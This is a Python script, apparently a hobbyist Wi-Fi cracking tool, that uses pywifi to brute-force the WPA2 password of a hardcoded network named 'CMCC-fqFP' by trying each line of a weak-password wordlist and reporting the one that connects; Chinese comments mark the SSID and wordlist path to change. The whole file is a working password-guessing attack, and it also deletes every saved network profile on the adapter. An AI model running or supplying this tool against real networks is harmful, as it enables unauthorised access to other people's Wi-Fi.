import pywifi
from pywifi import const
import sys
import time
from asyncio.tasks import sleep
class PoJie():
def __init__(self, path):
# self.file = open(path, "r", errors="ignore")
wifi = pywifi.PyWiFi() # 抓取網卡接口
self.iface = wifi.interfaces()[0] # 抓取第一個無限網卡
self.iface.disconnect() # 測試鏈接斷開所有鏈
self.file = open(path, 'r')
time.sleep(1)
#
assert self.iface.status() in [pywifi.const.IFACE_DISCONNECTED, pywifi.const.IFACE_INACTIVE]
def readPassWord(self):
print("Start:")
while True:
try:
myStr = self.file.readline()
if not myStr:
break
bool1 = self.test_connect(myStr)
if bool1:
print("密碼正確:", myStr)
break
else:
print("密碼錯誤:" + myStr)
time.sleep(3)
except:
continue
def test_connect(self, findStr): # 測試鏈接
profile = pywifi.Profile() # 創建wifi鏈接文件
# ==================修改部分1======================
profile.ssid = "CMCC-fqFP" # wifi名稱
# =================================================
profile.auth = const.AUTH_ALG_OPEN # 網卡的開放,
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
profile.key = findStr # 密碼
self.iface.remove_all_network_profiles() # 刪除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 設定新的鏈接文件
self.iface.connect(tmp_profile) # 鏈接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 斷開
time.sleep(1)
# 檢查斷開狀態
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
# 消除進程自動關閉文件句柄
def __del__(self):
self.file.close()
# =========================修改部分2==========================================
path = "./弱口令.txt"
# ============================================================================
start = PoJie(path)
start.readPassWord()